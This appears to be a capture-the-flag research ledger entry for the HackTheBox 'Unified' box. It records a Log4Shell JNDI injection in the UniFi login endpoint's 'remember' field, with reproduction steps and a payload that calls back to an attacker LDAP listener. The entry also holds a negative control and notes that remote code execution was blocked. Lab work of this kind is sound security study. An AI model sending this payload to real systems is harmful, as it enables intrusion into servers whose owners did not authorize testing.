Cybernetics

Case finding

Log4Shell unauthenticated JNDI injection in UniFi /api/login remember

HackTheBox / Unified - root

Research ledger

Proof record

Prerequisites

Authorized HTB box; outbound target->attacker TCP (LDAP 1389 callback observed).

Reproduction

  1. Listen on 1389. 2. POST /api/login JSON body with remember=${jndi:ldap://10.10.15.254:1389/TEST1}. 3. Observe LDAP BindRequest from 10.129.96.149. 4. Negative control: remember=ZZRANDOMCONTROL12345 gives no callback.

PoC summary

JNDI lookup executes unauthenticated; RCE blocked by JDK trustURLCodebase/trustSerialData defaults on this box.

Evidence summary

Positive probe callback observed; negative control clean; HTTP stays 400 api.err.Invalid.

Negative checks

username field with same JNDI string produced no callback (field not logged/interpolated).

Impact

Not recorded yet.

Evidence artifacts

No evidence linked.